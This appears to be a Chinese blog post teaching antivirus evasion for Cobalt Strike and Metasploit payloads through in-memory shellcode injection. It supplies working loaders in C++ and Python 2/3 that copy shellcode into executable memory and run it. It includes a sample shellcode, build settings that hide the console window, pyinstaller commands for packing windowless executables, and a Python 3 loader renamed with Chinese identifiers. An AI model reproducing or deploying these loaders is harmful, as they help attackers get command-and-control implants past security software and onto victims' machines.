内存注入shellcode实现msf与cs免杀

前言

文中所使用的shellcode均使用cs生成,msf同理
示例shellcode(打开Windows计算器calc.exe)

1
\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9\xe4

C++

在vs2015中新建项目

新建项目后添加源文件

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "windows.h"

#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buff[] = "shellcode";

void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(Memory, buff, sizeof(buff));
((void(*)())Memory)();
}

将shellcode替换成自己的

在编译之前需要修改三处项目属性
PS:前两项由于我在vs2015出现的小问题,可忽略。

1.VC++包含目录

新建一个项目——打开项目属性页——在打开的选项卡中选择vc++目录–>包含目录下拉条点击编辑:

目录选择下面

1
C:\Program Files (x86)\Windows Kits\10\Include\10.0.10150.0\ucrt 

点击确定后添加

2.VC++库目录

同第一步相同,将目录添加为

1
C:\Program Files (x86)\Windows Kits\10\Lib\10.0.10150.0\ucrt\x86

3.C/C++ –>代码生成 –> 运行库

将运行库修改为 多线程(/MT)

编译


双击上线

Python

Python免杀效果更佳!

Python2

安装pyinstaller

1
pip install pyinstaller

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys,ctypes
sb = bytearray('shellcode'.decode('hex'))
def aaac():
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(sb)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
bufs = (ctypes.c_char * len(sb)).from_buffer(sb)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
bufs,
ctypes.c_int(len(sb)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
if __name__ == '__main__':
aaac()

将shellcode转成16进制(char To hex)然后替换代码第二行的shellcode

1
b8820a8d38d9c6d97424f45a29c9b12331421283eafc03c0046fcd38f02b2ec0013f6bfc8a4371848d54f23b96215ae3a7de2c6893abae80ed6b29f08aac3e0f52e6b20e961c382b42c7c53e8f8c99e44e78436f5c35073041c8fc45654103b21f092040e383e82c68a3d829ae5c15ba6f91aecc73043b4484bd351f14f1461f15792e234a4c593b22275d380a4cce56f56b0cd561142f937c732f44e31aa3e9e4

编译之

1
pyinstaller -F -w sb.py

Python3

安装pyinstaller

1
pip3 install pyinstaller

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
'''Python 3.7.0'''
import ctypes as 胖胖的库
class 二狗子(object):
def __init__(self):
self.神秘液体 = bytearray(b'shellcode')

def 自己动(self,):
#print ('test')
开天辟地 = 胖胖的库.windll.kernel32.VirtualAlloc(胖胖的库.c_int(0),胖胖的库.c_int(len(self.神秘液体)),胖胖的库.c_int(0x3000),胖胖的库.c_int(0x40))
#VirtualAlloc(内存开始地址,分配内存的大小,分配内存的类型,分配内存的权限)
泰山压顶 = (胖胖的库.c_char * len(self.神秘液体)).from_buffer(self.神秘液体)#来源目标指针
胖胖的库.windll.kernel32.RtlMoveMemory(胖胖的库.c_int(开天辟地),泰山压顶,胖胖的库.c_int(len(self.神秘液体)))
#RtlMoveMemory(目标内存指针,来源内存指针,字节数)
水漫金山 = 胖胖的库.windll.kernel32.CreateThread(胖胖的库.c_int(0),胖胖的库.c_int(0),胖胖的库.c_int(开天辟地),胖胖的库.c_int(0),胖胖的库.c_int(0),胖胖的库.pointer(胖胖的库.c_int(0)))

胖胖的库.windll.kernel32.WaitForSingleObject(胖胖的库.c_int(水漫金山), 胖胖的库.c_int(-1))

if __name__ == '__main__':
实例化一个二狗子 = 二狗子()
实例化一个二狗子.自己动()

同python2一样直接替换shellcode(但不需要转成hex)编译之

1
pyinstaller -F -w sb2.py

PS:中文是我特地骚的

交个朋友
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

吹吹牛吗?

微信